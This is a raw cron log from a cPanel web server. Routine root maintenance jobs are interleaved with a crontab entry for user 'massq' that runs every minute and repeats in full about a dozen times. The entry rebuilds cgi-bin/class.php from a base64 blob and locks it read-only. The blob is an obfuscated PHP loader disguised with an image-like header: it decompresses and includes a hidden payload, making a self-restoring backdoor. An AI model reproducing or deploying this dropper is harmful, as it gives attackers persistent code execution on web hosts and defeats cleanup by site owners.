Sep  8 20:04:01 server CROND[27293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:05:01 server CROND[27678]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 20:05:01 server CROND[27679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:05:01 server CROND[27680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:05:01 server CROND[27683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:05:01 server CROND[27684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:05:01 server CROND[27686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:05:01 server CROND[27687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:05:01 server CROND[27688]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:05:01 server CROND[27685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:06:01 server CROND[28572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:06:01 server CROND[28571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:06:01 server CROND[28573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:07:01 server CROND[28959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:07:01 server CROND[28960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:07:01 server CROND[28958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:08:01 server CROND[29440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:08:01 server CROND[29442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:08:01 server CROND[29441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:09:01 server CROND[29840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:09:01 server CROND[29842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:09:01 server CROND[29841]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 20:09:01 server CROND[29843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:10:01 server CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:10:01 server CROND[30247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:10:01 server CROND[30250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:10:01 server CROND[30252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:10:01 server CROND[30256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:10:01 server CROND[30258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:10:01 server CROND[30255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:10:01 server CROND[30254]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:11:01 server CROND[31098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:11:01 server CROND[31100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:11:01 server CROND[31099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:12:01 server CROND[31506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:12:01 server CROND[31507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:12:01 server CROND[31508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:12:01 server CROND[31509]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:13:01 server CROND[31983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:13:01 server CROND[31984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:13:01 server CROND[31985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:14:01 server CROND[32367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:14:01 server CROND[32368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:14:01 server CROND[32370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:15:01 server CROND[32762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:15:01 server CROND[32763]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:15:01 server CROND[32764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:15:01 server CROND[32767]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:15:01 server CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:15:01 server CROND[32765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
